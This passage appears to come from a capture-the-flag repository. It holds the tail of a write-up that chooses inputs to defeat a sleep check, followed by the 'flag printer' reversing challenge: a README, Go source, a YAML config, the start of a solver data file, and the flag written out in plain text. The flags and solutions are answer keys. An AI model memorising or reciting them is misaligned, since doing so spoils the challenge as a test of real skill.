is perfect.\n\n## Check 3\n\nFor this last check, we need the return value to have at least a factor of `2**14`. The values we send are:\n\n```\nx1 = 2 (or 1, depending on the parity of r)\nx2 = 3\nx3 = 2^7 + x2\nx4 = (r - x1 - 2 * x2 - 2^7 - 2^8) / 2\nx5 = 2^8 + x4\n```\n\nThis passes the initial check because\n\n```\nx1 + x2 + x3 + x4 + x5 = x1 + 2^7 + 2 * x2 + 2^8 + (r - x1 - 2 * x2 - 2^7 - 2^8)\n                       = r\n```\n\nFurthermore, the return value `(x3 - x2) * (x5 - x4) & 0xffff` is\n\n```\n(x3 - x2) * (x5 - x4) = 2^7 * 2^8 = 2^15\n```\n\n## Loading the Flag\n\nFrom the first check, we should have gotten an output `x1` that is divisible by `2^3`. From the second check, we should have gotten an output `x2` that is divisible by `2^15`. And from the last check, we should have gotten an output `x3` that is divisible by `2^14`. Their product is therefore divisible by `2^32`, so when interpreted as an unsigned integer, it will be `0`. The `sleep` call is effectively bypassed, and we can load the flag :)\n"
  },
  {
    "path": "rev/flag-printer/README.md",
    "content": "# flag printer\n\n**Category:** reversing\n\n**Difficulty:** medium\n\n**Author:** joseph#8210\n\nWhat more could you ask for than a program that prints out the flag for you? Just run it and the flag is yours!\n\n**Attached files:**\n- ./challenge/flag_printer (sha256: a9dd2b365f98d00730746de642f211a52f5eaf62cefb5ad85bf87244a7436e9b)\n"
  },
  {
    "path": "rev/flag-printer/challenge/flag.txt",
    "content": "DUCTF{g0tta_GO_f4sTtTTtt!11!1!!_1c5eff59b5e8814d7f92}\n"
  },
  {
    "path": "rev/flag-printer/challenge/flag_printer.go",
    "content": "package main\n\nimport (\n    \"fmt\"\n    \"math/big\"\n)\n\nvar X = [50][50]uint64{}\nvar M = [50][50]uint64 {\n{12360658,3164667810,3174250802,697033209,139528530,358879236,1884536693,3056019465,1556957267,945325257,1500272620,1530963857,2626169693,894010163,131212255,393515820,1219562872,1281025178,1526954291,1047608923,2142827700,1309305937,2181030782,993149128,1488085348,3130343774,3398667168,2779185288,2765206427,2035886271,1050418536,2915626148,1843999063,1748919300,3662515079,343226658,727322753,1793737512,1068459295,2622148333,1526033248,3522082343,2238595599,1678141960,1960397115,385985387,2247888313,2839888888,678409675,844484049},\n{1615620522,3324682526,1175112514,1251963849,922430708,3019203936,2138787202,939098216,1519524469,458044099,3537536201,1944245222,2321156481,1226040027,1279977241,2485884935,600012824,320678650,3529942739,544543837,3227953479,1273240513,34838828,3446788539,51072229,2835273865,2901443521,498069525,428143639,3639364742,904407740,714805677,3048945940,2176334651,1257919498,1250540774,1881583702,2047332825,3186814525,2325478587,2147844010,1287554373,791343228,2047487046,631292183,1740700926,691573975,3122341119,948587534,3667912295},\n{3324351707,1965035735,848867791,3420112111,2439269107,2748626149,191723182,2300350902,1968817814,1628712619,2559012454,3360209780,3067396087,3331417429,1438539249,1550766183,129779530,226222335,2397461635,3419944237,2776460726,1742919674,1471796857,1018964758,2004146078,1517615,3158857147,1539372481,455093765,2290598016,2642063636,3223639649,2872665416,3282341302,1313014713,2708074906,3590277064,2402476061,1156968847,661897523,152583345,3148536395,3090713670,2745241183,3684982628,168554864,3131122411,59908344,3659254732,1939869525},\n{2956322407,2682223193,2145703839,25183203,327083697,2084867616,1335920746,141336936,2746237983,2180894077,3318564631,2723609797,229535580,2322232146,3336910408,3159404088,257783298,3399683029,2704374917,781442655,1823542448,3669040241,1488653952,2403214670,1733331136,3039557393,3037512813,3368772977,1019742125,1574170358,2008273841,739464997,3418974601,2253269468,255376157,707817896,2661985244,1726878148,1831080972,1412734125,219278444,1249859505,960119440,2371885449,2990563293,3026024974,1612966825,669538040,1089362232,3687600328},\n{1331037934,521067828,2702455296,2840624779,3508480078,3540232486,2371228576,1546395817,3064471032,1662218802,103934047,3456756812,393439166,2896274618,1467728979,3242979310,1179915363,215637193,2508338087,2427509669,2829954671,3306385585,1724997573,2786840004,2335633786,3426149502,2441843095,2777768181,3037214112,3244123105,2512341386,3440817431,1500058524,3486353375,794726090,3053533034,199768845,2455030068,1842016831,1728938928,1904966472,819547070,515931794,365594635,1524944948,1062101818,2646969235,3618312758,218187561,3664679984},\n{183092490,90118331,3084000559,3280662539,750636853,2929906440,3342735256,715374696,2286314746,175408665,597902294,2347629646,2568852438,2198391602,2777234479,904301206,2772823889,1710269006,3395472457,2779014019,3107473326,2525758515,484902152,3712338837,3272169022,1433152399,1621149346,1141522396,544218147,3609629219,844025120,1854986668,2721088206,2202102084,1286186503,588113924,354423348,3502346626,3679497051,3107921455,1743345420,2889415762,3347606232,1030596301,3248742797,665752796,58380748,3131946549,2696584967,2107052619},\n{2898185687,1705484801,1972671819,1600431853,3058746775,2645089103,1433124942,893378285,360554998,1655954565,3202903021,2029117986,1069419124,156975313,2159969464,2992327767,495718964,3215331356,3378830789,1750283094,757799731,3212600852,1744416118,2897342065,958222710,2125129684,120957069,2387268576,745852888,585462512,2061973462,753264371,132390356,1238778017,3637946954,196959958,1735247331,1977074706,3383249010,1087566953,3597806093,1225005441,3105258785,600948041,944948519,1657286187,2057185501,2572171858,3705516558,1907312396},\n{1274962641,852481909,3640693291,3077694424,3632544564,3175799930,3431830581,1924344903,1815122172,1369349069,3633231048,292086541,3581261969,1743690489,1846138567,3177093398,876493618,318013533,1761606825,354850497,3585734770,383520317,3013864051,1634768282,2403053040,2542465478,1635990356,2726488558,2192588223,481863928,1306613510,1554409012,1185976111,3403144559,1379161083,1447604996,2316818873,1285125790,814457073,1374904803,1895133783,784051094,1408299663,3006704274,1940349714,938402245,856583102,3041121874,1481337216,1537929079},\n{770540112,1309162334,1840967639,507553407,3297660501,2600493869,2888603720,1520510696,2608775370,1310928545,2525916692,3338828200,250980840,3600453368,709023189,451278278,2950232014,1822254149,1317898250,2089556943,1222039910,1762230515,3383286044,174068526,2432594394,3576311382,881179979,1503823199,2968938040,1130306514,1967563470,2475941588,1463095682,1784121660,3073661297,3675299255,750432719,551924414,3583155570,129534826,3132723773,156945304,2130396642,1389571378,58505703,298743161,1928448822,2538234897,1467313231,2425008606},\n{3058107316,2020353736,206595472,1735812044,1875018076,2718116420,1494050135,413822610,2440692451,1703619374,1893980174,1332325686,2481167844,2020685460,3113382519,1107038029,3423754753,1760252656,675530399,1788643945,2405955391,3601393591,98335819,1797054689,510363616,132175905,1989619372,2054750116,765443703,50754731,13995875,500618183,3513335538,928119048,740769345,1290055784,1828754797,1035750035,1167895279,3676562081,2736550112,2915099913,2287625120,3226977019,537432614,567456255,3448580218,3724777304,2149069368,3599987539},\n{3679258364,2091449116,2294295916,238242520,976034646,3030033323,1176270819,800116104,2149671627,3039582509,3649977576,1075379,3562202907,1825116015,3462484475,2120175262,2640391258,1668360134,313339901,1482724766,1831908323,966549135,131150491,3478976157,1956331924,1507698878,2847576260,640379944,489545362,2747564970,1552219309,2544152963,1329147195,176045122,978788734,2690374436,1925424163,528425356,134711637,2033968989,1619728652,3207207301,3492529134,2215440863,908307054,457998890,1848001189,1475865431,1079003089,2624027541},\n{2320927571,805533778,3073845128,1415228808,1448458821,2596780268,3509598942,1199988025,3549382092,2946063491,2322301913,2487079491,580036955,2750595934,2091982036,3567529142,3430043867,2070995001,257742843,3550271035,2215241123,2790639060,2362925648,2690611037,714110115,1304981132,3063246343,1106429515,417205886,2576049566,239065021,1238645325,2867191522,1343499821,3068497337,3030639587,2884821068,1588110524,1170719047,1939396801,1452674163,1106537205,2390004761,3063520479,2927322038,1211220383,1526958227,3259904932,3144905103,3125110437},\n{2883746202,15592572,1626093556,2225578698,3352772574,3349724322,357475023,1760278034,1453471563,2982758125,3359182247,871813456,2605244379,91301587,123763403,2379319870,3189395375,150589464,1808844187,167845379,1230062572,2384145845,3692658529,3160325951,2004521156,3058569313,296690801,2507268409,3280542830,670928650,3508189714,1532209421,3628888196,1241707958,828900632,95090839,1123661051,3573580833,3129683369,2276532867,3627796097,1568923668,2645774890,2116542594,3077331564,417047787,264485572,2090379641,705537189,2192543375},\n{1064221306,757380202,2795203024,1865313499,2861026118,1156649330,1480650516,20306387,1798715563,1801184636,3216179331,2189502325,2117630487,2301170783,3368483629,1792827573,3099367829,2569816374,1586960447,956014192,3155208159,2455360859,3062632673,1855260742,2934058383,1712040747,2111725300,3365258140,3436398096,1335364933,2236776048,82008645,1168397160,2802476016,3266172852,3146323231,51404319,3455018028,2753951460,2141497437,1578060909,3049929584,3408382791,2058203036,303253091,2314935223,1252548743,801565338,211048797,2389426899},\n{405358413,3363180635,289935908,534721983,2841901497,3743713201,474231246,577878823,1395809008,3234334462,2398589016,3664154008,1776735806,844138072,2883857414,31304575,2548935900,3617158030,588313457,3609427504,3692279253,3024638522,1148371802,1386603353,2256358440,2143715972,2301281379,508935043,1263779501,2104458554,2941146856,2867356220,3600159855,735538369,103354885,657970498,3093168305,1959211166,688937207,1678404713,3328628383,183772892,3378789971,3371509846,1178517050,3397590651,3373323031,3435069056,263829526,3097223023},\n{1881390997,98125064,1353926662,635608027,1947802850,3149832439,1156515425,3362665943,969829907,3431295765,2999889554,2757789327,73644112,555403443,930619613,1337986232,150293444,2884122875,394605393,3452522657,3705185472,3090008631,3619501771,3531472620,2737225125,3656419357,693455034,308444152,2983704268,1478095570,2307465685,3120503775,1433682343,1801206035,437654799,1028953324,920973193,1791364762,2027890667,1422910278,537782854,2601778365,2316590081,1863527498,373984929,1989287622,363738263,1844593673,859592315,3724993654},\n{3578774169,3664975502,313321623,1429116584,1027949869,1681806439,2651276667,1441275709,534377000,3715817781,1061650297,477845165,879900790,389364867,2852587678,1971084959,2021744840,1535721401,2580485399,79839176,2917667990,3527271324,1267160739,1289889403,385059230,1179349640,2272834615,179627697,212828602,629431466,2190557622,94817532,572930584,915066740,3438394179,2851123481,2105644132,217131420,953820339,2671673845,3432242421,3650981880,437159108,3721791876,3094346719,3106850618,1244503699,2774114818,3435205471,2365198996},\n{232611885,1963591182,53903864,2848670270,1899411123,2066134171,2920424936,664287993,916082853,2843339774,187003447,2921989157,1373480576,2339946854,3047361324,661847767,1425915985,138968534,2027860254,3183419300,2245590901,2182800302,951164216,3415196315,2805665465,831235193,2171124159,3492939593,3236548433,2666840812,3211733850,371638472,3726244471,454221344,3565539039,1030876789,1165423804,263476671,3119811660,2469065385,2083746035,640988500,2283731900,416842312,2766794734,3521857304,535263182,936385229,510081529,143243643},\n{1864491799,1169690285,3431326237,3432087948,2243605552,2608973485,643456284,866578604,1708463279,1907291459,343097496,2022414848,2895991756,1178535156,3275349644,1030126876,1133935721,1758735257,3362767382,1465908249,2263603288,3558880499,1570917564,2902439855,1507805014,937673896,2246951417,1441736387,217169770,2384343494,362013264,940497492,2148262087,1545510551,1035900672,2776512283,2627074054,2950156054,3494885863,1263230272,3686165884,269366205,1615064116,1408274042,1091824547,3498065593,2308351703,1070433531,827119749,121906243},\n{1669765000,723165608,2021074535,2158782750,2137259120,2951534343,1458686674,464193153,1735808708,2301940622,2515751234,2737402101,458593073,1122630444,3308830,311542189,2306311408,854387116,3398201046,1593185463,2899226452,2074508456,1801089738,2467610046,2636058344,743228219,990083359,1074583380,3239008405,450688438,482027626,2803746358,1297113860,2481852092,1246596859,2374609442,277114456,3658062737,2326627589,2424421979,3459523914,1128836189,2908623689,2339588028,3230209462,1358125971,3455972804,2728138706,972416857,946571134},\n{1087824872,2550048742,3419722719,3047108633,3212980240,751904208,1126684998,2942265987,32688543,2946139364,488435312,2910830195,1222544092,2409766987,2928160273,570176743,1992099069,429227946,544675191,555361835,468054905,3102912812,3536516099,1502720075,1856805986,1947333043,3169768876,247940275,2734497456,3495315879,96692387,2638454198,2086323969,17869543,2353626337,3182305392,795116850,848052656,2244484590,3742616359,1610228960,3493616155,2736827896,902841591,63475423,2229871821,422601904,1334897280,822188871,1317301077},\n{1102235129,3009517125,996139468,1688059813,2542660864,2406524287,2792078030,2583635628,3546690644,2228188667,3199264548,736914605,33484953,1880874005,1083977412,2440120231,2106482004,227484810,2979832768,3030993908,3666713374,1372360804,1474571174,2769291555,2986739391,1122381412,1765120389,1249433851,2891331075,1291435792,2957109121,3490748657,3755259204,2157892002,2500985114,728715305,1454299100,1906062793,3110341103,93770138,3638788033,53491098,2174166306,2693214268,623348726,3510863941,2925200610,1559424235,2758585887,3367488646},\n{1958998047,1542170072,1658692691,3598899219,841511768,1599621306,952980325,116138378,1500765554,3452607660,1919954488,2803395353,3738309029,239407124,3282823247,3567284642,891375715,257293800,865952733,2069566506,3095022872,3488410996,2145594922,3702787308,2506638805,2633835952,2477024379,3264122063,731016146,2411272902,2478403434,2146418739,2752786582,2248943930,1936712662,2000971496,3373205659,1595681204,2684152898,2888921321,375125967,3323103683,3715314583,3655619588,3555015328,132789848,3332469825,1991178442,392148832,1083530118},\n{21240011,2573123981,1687759871,404425082,794105057,818447079,1502137969,3659649147,364556272,561800583,3009571923,1630307172,600546745,1755491112,1153679068,1363083983,2830478799,1227514949,1746191160,2876061425,2394885329,1896869105,1472453879,2348915643,863069963,2798258063,123081072,2143764970,3731442183,1590802048,3757275158,1431240946,2358979498,1977858223,1152732928,290752542,1860546015,3560122626,1389631437,2114250735,3464962565,3232536325,3504015440,3242244225,2953330037,2833915364,3364517700,1174209509,3075252822,2288370814},\n{1126987496,1501527409,527459918,2050735308,3567324855,1922854073,479130665,3044395568,1819360136,612935465,2240942186,358401619,2806068464,1676379970,539180263,519730550,1112754544,542762466,2746951808,802709148,587118474,3684731285,853580533,2729422057,2770868150,2899835532,3257562753,3722125303,1850828331,1058649344,1938526751,2549969988,351894394,3517747925,1702775032,1152303529,2949638439,3434675932,2121537439,704396458,1435093351,213081152,839951525,3471412800,459768430,387656569,2801432213,2431281293,1680541803,2866513375},\n{3112522962,439086695,2535467054,2660671835,2478449215,3282125155,2585346927,2336596234,2116668509,2724243349,495705686,2621099988,2627631933,3562063823,856051797,3069457544,2571597699,3613269266,3583124730,3518710424,931520100,2656893610,3681627959,805354225,2620233429,3576335206,79442516,621935138,2540045245,2483443981,762854768,3344844500,2298090600,1228941055,1431350169,1487358861,2296775532,65949078,2090066618,501740402,901282516,2488824224,2242410811,1951195301,1963616621,1853605757,2767090975,3555595265,342589767,2151795857},\n{137213056,3479178812,1608296225,2497941287,1748237497,2996378958,2485856238,2419230818,1507487499,1195472593,2829177251,89419099,2231491783,502331004,1200848595,1169779430,2320103790,285691431,3620341437,1676495143,972723270,2576226192,767559362,2089112784,2899729841,666217620,2730448692,328797639,1758823896,2628511958,3320033104,3313353387,2431583923,3081244697,1333317798,163663994,2072318481,575088782,2664698781,2116505793,2483729145,869306761,769484312,1899647160,3626757813,3758019561,1153942916,3763911796,937625915,1383582632},\n{3077763635,1603638498,3424158482,1275246255,2846971403,2107618919,1267881752,1834495385,3297738950,1976996023,3112839373,716852945,2873266280,1113270859,636237109,3408443557,744501535,2086962042,967472613,640340045,2875593531,1864392208,3059850086,1856214814,1492029424,1054010375,2586832925,2541488130,2159770840,640290292,3742011420,280400788,2616931214,2316185182,190402256,735766139,3317462778,3372638941,3532387449,417229473,3600701718,320173781,294316741,1626761718,1210100594,1063835895,1947479122,2016434810,2450679049,672657509},\n{3339735991,897340317,700120660,1090417302,3638986910,2565686077,1397340225,1105527144,3460199106,1968225801,987459255,2734891212,869569302,1829209499,2695302749,2217520154,3591093729,3277277908,3424150028,2373735326,3718080898,1013838677,1093685214,1416852720,2474927637,3213452283,179096020,186891920,2498112820,266805105,3211675315,307721440,2465093951,2132298061,2446536040,909515810,3743041929,2595696707,2687820558,1419189619,328038585,3301980902,99157005,3371930049,642112138,2105818136,1611676138,1004951398,3246342825,2238608293},\n{3082203896,779478986,800753067,2544654249,3707190355,2487555435,730062797,3021227716,1300688074,3136159046,3228538391,2580689217,520067187,1045722076,2233867586,500936470,3560457043,3402273837,1479723368,2960141438,1599395227,758856038,2734365357,294911123,1350793926,847922801,99795737,1937653598,2511682306,456231162,3498776369,1224304410,828744015,357670566,2181035533,2718266346,303279929,1981750379,3726068438,44747814,2328532001,909376571,1896003219,1614165657,298937470,2846402476,3302566154,1510950659,2611490369,2674839617},\n{888348752,1133669212,903058757,1447229650,2885391991,3051072648,3689869649,2960443954,3296499892,1623027763,3192386725,8094240,689653355,1520983221,1079371066,2903127408,2031840850,807813256,2717547579,1430016808,2755628785,1094278458,2049718283,3678205057,1397483831,1418302080,2994148163,3170006951,3763220094,2008146061,693557878,343641562,3010021907,3291410507,2980661055,3464328358,980208432,1237219243,1212176911,21527645,1823543831,1505705027,2266894359,1193613773,1029224023,2072934097,821447656,122163626,3011494870,1709190740},\n{572032492,1742799755,622203699,1990971048,2200813532,1093676354,129587458,3049544838,2335844598,681472390,2067430314,1762007063,1169616275,2796014119,2704049620,1579136606,2562849364,1096683462,2243466935,1197341357,2079849369,2618723520,2367169438,3725754585,79224923,2433517007,2109153124,633482690,277072853,2181449524,1486898750,1696114860,2941456459,1321855907,2222239940,1738813305,1412712857,363652619,1655126167,3474047499,1292298924,1286797646,721558813,1321744963,934572783,788410230,3462081957,735548365,3237552867,2014480302},\n{2443581928,2629044494,2929877426,1417452299,3086997296,3339930328,1555318642,854995864,221113717,1759263767,1922225146,3081878165,138700058,782864536,617832684,328683920,371260424,322149596,1169017890,3011449339,2227246308,2782922050,1522834698,586083032,1951810981,2958238874,2223140161,3161147328,3615143086,2795822625,1952630473,2858177129,2836371839,2313481233,1731230889,3555349291,1707284829,3766363386,157561866,2016720182,706828007,1687976276,1412933115,1750590907,996184917,1823048833,2646746610,2267152345,2444414172,998630083},\n{587333621,310156137,3355247080,1314075109,3032269560,1875318389,2765713631,858314541,189245532,2164478906,1996771117,3353067970,2454361405,1048564701,3011465869,1383313976,3227313964,7564695,3226481917,291020981,1435333153,681765524,1877672081,3186092455,2906658246,1503126783,1013478355,2009133067,2534496755,1153444832,2925607286,498598356,2142935273,1132282580,2502271947,3173760092,2467228754,1548718219,3273794428,1171220372,3008854867,1994794440,901364504,1251008544,2733172404,3511438686,895342334,432264184,770093820,2556392141},\n{1918971970,2695447413,3476985700,3716778587,2573379155,3210347369,311739004,2245057409,3038939001,3152755557,227091997,1841761296,2381435181,1670743841,3467617157,150716533,351713561,3636902216,3034718917,3098515143,384914113,1738579990,2931076678,308643652,722245155,1010204191,146056504,3414466780,1138036909,1897640220,725602628,746179454,691238210,2141324715,2673021564,1801042693,224002150,3335136366,631261115,2764389477,3703565279,3662447940,900070714,1223810344,1545990843,1523176106,2205543619,2192658646,2784313461,2535960659},\n{2618215929,664885787,3485744101,2332749682,3208339369,797562757,1247992358,1808921151,615173465,992018296,3050312998,3262311116,953990984,1003781469,3169165466,1655736834,456576589,1899517563,1785561909,17814740,628872080,1615684301,3672234507,2127738447,644827895,1490149031,3282575539,1076239840,2259318536,2283724268,836120892,1110600668,1145039065,2965952849,2113327989,653865815,1037517340,2680335625,1585877706,834949936,1131517029,1077447013,3404553720,3201631407,25296594,1184267774,2642902876,322054530,1332804429,1579798812},\n{1615449259,810686413,420859381,1088145434,2843372348,1344782869,3502449932,2699378506,2325994605,289394089,380056729,2736145851,3316373480,281169077,3559126811,79687797,35214829,354411754,786006187,1776179412,1864511514,769287181,3525141072,2543250729,67084487,1269630182,1446673176,3665319468,3294347411,2715833468,3181977480,48460794,3727225009,1304305554,2631399345,3105522803,2913210321,3252739392,2545711169,1633980367,3505490605,37918822,711882501,2546817411,3709512867,494046109,2948934814,1680264064,984633276,124746954},\n{887057695,2297594474,3782145,939493914,1904246726,3204970718,2862968942,3702610896,500808269,2244900857,2400525976,661301049,2802836282,1504239944,1277780899,2226551718,3350408786,3008171728,1734864381,1579532362,1786694056,2115915130,572329435,3670728657,2187118390,3733221253,758741885,3332173858,2988211023,3310008592,3047726463,2469633021,1874749837,2220078403,1256948568,783563187,2141111514,2186018378,2202878591,2038934394,1605199679,1901021231,3369987570,1000846950,3013582602,3630786760,1940592320,889861576,2193674458,3254130619},\n{3319909284,1223192178,213956235,3560809321,468064382,3660962117,3255499152,2485410543,423451158,1616084700,1058505898,3011687560,2401220937,3741525790,3727593059,1522793489,69243682,520850579,3054299507,1398324458,3511394062,1412532454,1082164064,3197589863,1712327550,2760312557,2405989732,2248291223,409043291,2482112014,2884187534,1615307687,1963792963,949180869,655249092,957902331,2632168388,916347252,3316609064,3315484818,598270475,197177572,210113519,422945198,823927384,120456038,969872095,2029265490,828791531,3760291296},\n{664541702,2170377453,3029695308,620663010,747662965,1861258831,3158897039,1042303581,1346597382,1453211928,1860946587,1925148467,3430870855,496416537,2861380702,1768221075,1529558076,3595695195,3145237623,61089976,3390343104,749823870,2562468389,367958797,3158463147,1670138296,2098123764,1582719853,490262482,1556682063,2297495827,3733996531,3758763566,695105493,3141819288,2473116805,2611342681,928847324,2163015124,1307784184,3735275259,1747860942,1929234225,400840607,554712569,3622262846,1984356438,1217831934,3093655988,1981224211},\n{66695444,2291497564,168878503,561077345,1528420681,160045640,1185629594,2562006372,3329253552,2374962814,2197548956,3332822667,1100930894,1290841174,3205170593,81433993,2845571887,756991255,1187931638,3599331473,2612001049,318819803,2869957020,2722031909,834837474,506259860,57787478,3435182268,1517675052,2914243168,2782054265,2199715189,3389352909,1345034517,422603442,3171690736,2557557732,3202208566,1301434945,2522589026,2439600028,2027309260,2082820037,2183527887,1714934324,1064866459,1150898677,1327906030,1343013680,825841428},\n{1610477345,1216023035,2399966390,1100246275,733242934,2589638558,2979355618,307154211,3229374333,1573841216,2753973897,1391987671,537856787,3339991497,292638728,1265758520,2760721823,713198881,3650518262,3034604920,31809939,628847114,3628315178,1903470581,3653012460,3270953028,2838551710,359701567,415943441,1279268078,2443008271,1502716549,3734393983,398584424,529245748,2694054137,1214898315,1049070819,1952519154,2416386245,2208224713,3167172,2633268197,254682487,194636521,3679984677,1354413045,3674267596,1219178517,1597876951},\n{537773387,1125926470,2066451346,1758621408,2013426741,2629869998,3751705847,3694622337,1880214556,764435422,929509132,2271938123,1418502549,3297802056,1003235417,2555714124,2909258121,3178262417,2437332137,2755031948,2710432310,194476639,2818008818,1988089217,3765955324,328744866,3719559822,2780679092,2694177703,3605852811,3361132766,2601509748,1428506641,320325684,1761391690,3752958643,2730531541,1845707158,2171409425,3424795218,723101334,1127202786,1025850705,1588924241,2565475321,1305681907,617410534,1592537575,791736048,521454892},\n{2679828270,1524260712,1898373347,1501574914,71191931,1744412944,2859120874,140306064,1647891267,100564867,807038880,1904405253,3390482759,3341926256,1479916775,1417055469,3002523121,3720962954,1711824149,1750231632,275791799,454011644,1261143730,3155318923,3173402406,1914975466,3720146551,3086559041,1149801504,1168353574,2527697326,3251160890,186714027,3417819418,244673216,706551115,1465962010,2739444153,2709998068,716502085,2073319403,572172128,2061873479,3247331073,3537856407,2008244223,3396379806,3213593742,2093329368,1542980394},\n{1416960101,2446450232,2812831888,715252167,2753649519,1114351682,196443115,3010871017,1925975953,1174034806,1400802390,636288248,1899131533,2473662436,3002666043,1552754651,2747462881,271947,3147380456,2583270331,2467792115,730821059,300300665,225715461,525507938,807593978,1756147363,2769788146,1252259814,1016419751,2774270878,3683203618,2980878901,2121397732,2567271876,2382397220,2521849326,3719465372,1020409016,731369717,1776884914,1960819902,3389050553,1518348284,321078399,1227826911,3046682043,3143321285,110848790,649106031},\n{149462953,649936592,1774957487,1070699070,916164905,2174971158,11805996,2545895,2082750657,725986402,941950720,2971423628,640732530,310065100,1649640191,3386237865,2247252013,1467376321,1939388912,1204475413,1541279505,618918704,3180912247,704340454,2325596758,1177756008,944054997,2886925952,499553249,3725600514,3186893187,1895930807,2058182451,2089629147,1509030820,813211298,1683383271,1325568098,520208985,878394667,2666301698,2522763771,2020828838,2944358956,3466091570,453576721,997893504,3759025543,3009133341,602236643},\n{594896905,3617869389,3479784781,1748156598,2267196233,3545381859,1429344349,526952029,967439063,2579516509,814295492,34515690,2630880414,907797381,2653721688,1491037370,3252881935,833008477,106497783,1087962179,3028090195,1077467326,2846823471,3460805791,2161703788,59197078,3019364661,2283490770,844984715,3387169637,668244516,1967500565,2508894350,2444813634,501682468,1345548027,1790026742,1627526280,814638917,3272914594,1513395669,60770168,116053005,497652669,812647737,3632673217,2479431312,1877141180,1444704962,1326865387},\n{213092281,1579632423,970910451,624932142,2065230860,1612258966,3131803777,1669741048,3169991843,2716567152,330926347,1185891827,1227833182,2341275726,2737648428,908133308,1070610949,3714774377,3662024745,2063116099,2461123463,584725935,1649807310,519032404,2432901708,1258948160,515786162,1992664596,1661829439,3126029013,1329617997,1600814767,3215343724,1282355027,549661843,2899105002,1455139081,949029597,1402495176,1344312222,244980405,3140241770,3206445699,387017856,2634939448,156047537,439732343,3212377642,803006456,2066843014},\n{3595453426,3139767312,3346420938,1352876988,1823352019,1594699279,3641765463,3232079054,1319283505,1079616683,1216875479,2410701491,673958609,2543401509,2045505971,3269751652,871704239,1089115407,616268095,54335650,2964490483,1628809106,132373176,754207619,104906306,1372412843,2744148785,1932708804,1192744243,1029447420,3373360807,174531415,3514005063,2810979347,1306291625,3402300531,2155716836,1602233419,29162609,1826640511,2040271062,1689293441,3351578245,292743522,3704890187,2291286376,1829926797,2290879836,3147148886,431161274},\n{632597651,204651939,2301258628,54989168,1168351348,2503668239,3294370181,233124526,2908523243,1210596319,703596728,610957244,1982447456,3229858407,2607045413,2212115125,3052883719,1563587094,3151868162,2814234722,118866535,2083288200,848901998,55362724,677467320,1743325507,513382024,2241382148,882174819,2229134515,2588240050,788076648,2367990188,2998458028,652545569,1608073636,2087280313,3723382373,654078468,3638578518,3037303131,1968490017,3394440942,2817707736,3615357125,755376642,545503952,1348123339,3553489172,1526971917},\n}\nvar p uint64 = 3766999387\nvar xs = []uint64{182, 710, 103, 47, 14, 212, 85, 196, 136, 52, 260, 20, 627, 474, 86, 3, 59, 199, 76, 141, 244, 73, 243, 124, 71, 67, 126, 162, 103, 78, 59, 41, 3, 415, 68, 41, 81, 6, 293, 24, 198, 134, 137, 406, 148, 57, 53, 150, 176, 96, 82, 371, 102}\n\nfunc Mul(A [50][50]uint64, B [50][50] uint64) [50][50]uint64 {\n    C := [50][50]uint64{}\n    for i := 0; i < 50; i++ {\n        for j := 0; j < 50; j++ {\n            for k := 0; k < 50; k++ {\n                C[i][j] = (C[i][j] + A[i][k] * B[k][j]) % p\n            }\n        }\n    }\n\n    return C\n}\n\nfunc Sum(A [50][50]uint64) uint64 {\n    var s uint64 = 0\n    for i := 0; i < 50; i++ {\n        for j := 0; j < 50; j++ {\n            s = (s + A[i][j]) % 127\n        }\n    }\n    return s\n}\n\nfunc main() {\n    for i := 0; i < 50; i++ {\n        for j := 0; j < 50; j++ {\n            X[i][j] = M[i][j]\n        }\n    }\n    y := big.NewInt(2)\n    for _, x := range(xs) {\n        var count_x uint64 = 0\n        count_y := big.NewInt(0)\n        for count_y.Cmp(y) < 0 {\n            X = Mul(X, M)\n            count_y.Add(count_y, big.NewInt(1))\n        }\n        for count_x < x {\n            X = Mul(X, M)\n            count_x += 1\n        }\n        y.Mul(y, y)\n        c := Sum(X)\n        fmt.Printf(\"%c\", rune(c))\n    }\n}\n"
  },
  {
    "path": "rev/flag-printer/challenge.yml",
    "content": "version: \"0.1\"\nid: flag-printer\nname: flag printer\ncategory: reversing\ndescription: >\n  What more could you ask for than a program that prints out the flag for you? Just run it and the flag is yours!\n\n\n  Author: joseph#8210\n\ntags:\n  - medium\n\nfiles:\n  - ./challenge/flag_printer\n\nflags:\n  - DUCTF{g0tta_GO_f4sTtTTtt!11!1!!_1c5eff59b5e8814d7f92}\n"
  },
  {
    "path": "rev/flag-printer/solve/data.py",
    "content": "M = [[12360658,3164667810,3174250802,697033209,139528530,358879236,1884536693,3056019465,1556957267,945325257,1500272620,1530963857,2626169693,894010163,131212255,393515820,1219562872,1281025178,1526954291,1047608923,2142827700,1309305937,2181030782,993149128,1488085348,3130343774,3398667168,2779185288,2765206427,2035886271,1050418536,2915626148,1843999063,1748919300,3662515079,343226658,727322753,1793737512,1068459295,2622148333,1526033248,3522082343,2238595599,1678141960,1960397115,385985387,2247888313,2839888888,678409675,844484049],[1615620522,3324682526,1175112514,1251963849,922430708,3019203936,2138787202,939098216,1519524469,458044099,3537536201,1944245222,2321156481,1226040027,1279977241,2485884935,600012824,320678650,3529942739,544543837,3227953479,1273240513,34838828,3446788539,51072229,2835273865,2901443521,498069525,428143639,3639364742,904407740,714805677,3048945940,2176334651,1257919498,1250540774,1881583702,2047332825,3186814525,2325478587,2147844010,1287554373,791343228,2047487046,631292183,1740700926,691573975,3122341119,948587534,3667912295],[3324351707,1965035735,848867791,3420112111,2439269107,2748626149,191723182,2300350902,1968817814,1628712619,2559012454,3360209780,3067396087,3331417429,1438539249,1550766183,129779530,226222335,2397461635,3419944237,2776460726,1742919674,1471796857,1018964758,2004146078,1517615,3158857147,1539372481,455093765,2290598016,2642063636,3223639649,2872665416,3282341302,1313014713,2708074906,3590277064,2402476061,1156968847,661897523,152583345,3148536395,3090713670,2745241183,3684982628,168554864,3131122411,59908344,3659254732,1939869525],[2956322407,2682223193,2145703839,25183203,327083697,2084867616,1335920746,141336936,2746237983,2180894077,3318564631,2723609797,229535580,2322232146,3336910408,3159404088,257783298,3399683029,2704374917,781442655,1823542448,3669040241,1488653952,2403214670,1733331136,3039557393,3037512813,3368772977,1019742125,1574170358,2008273841,739464997,3418974601,2253269468,255376157,707817896,2661985244,1726878148,1831080972,1412734125,219278444,1249859505,960119440,2371885449,2990563293,3026024974,1612966825,669538040,1089362232,3687600328],[1331037934,521067828,2702455296,2840624779,3508480078,3540232486,2371228576,1546395817,3064471032,1662218802,103934047,3456756812,393439166,2896274618,1467728979,3242979310,1179915363,215637193,2508338087,2427509669,2829954671,3306385585,1724997573,2786840004,2335633786,3426149502,2441843095,2777768181,3037214112,3244123105,2512341386,3440817431,1500058524,3486353375,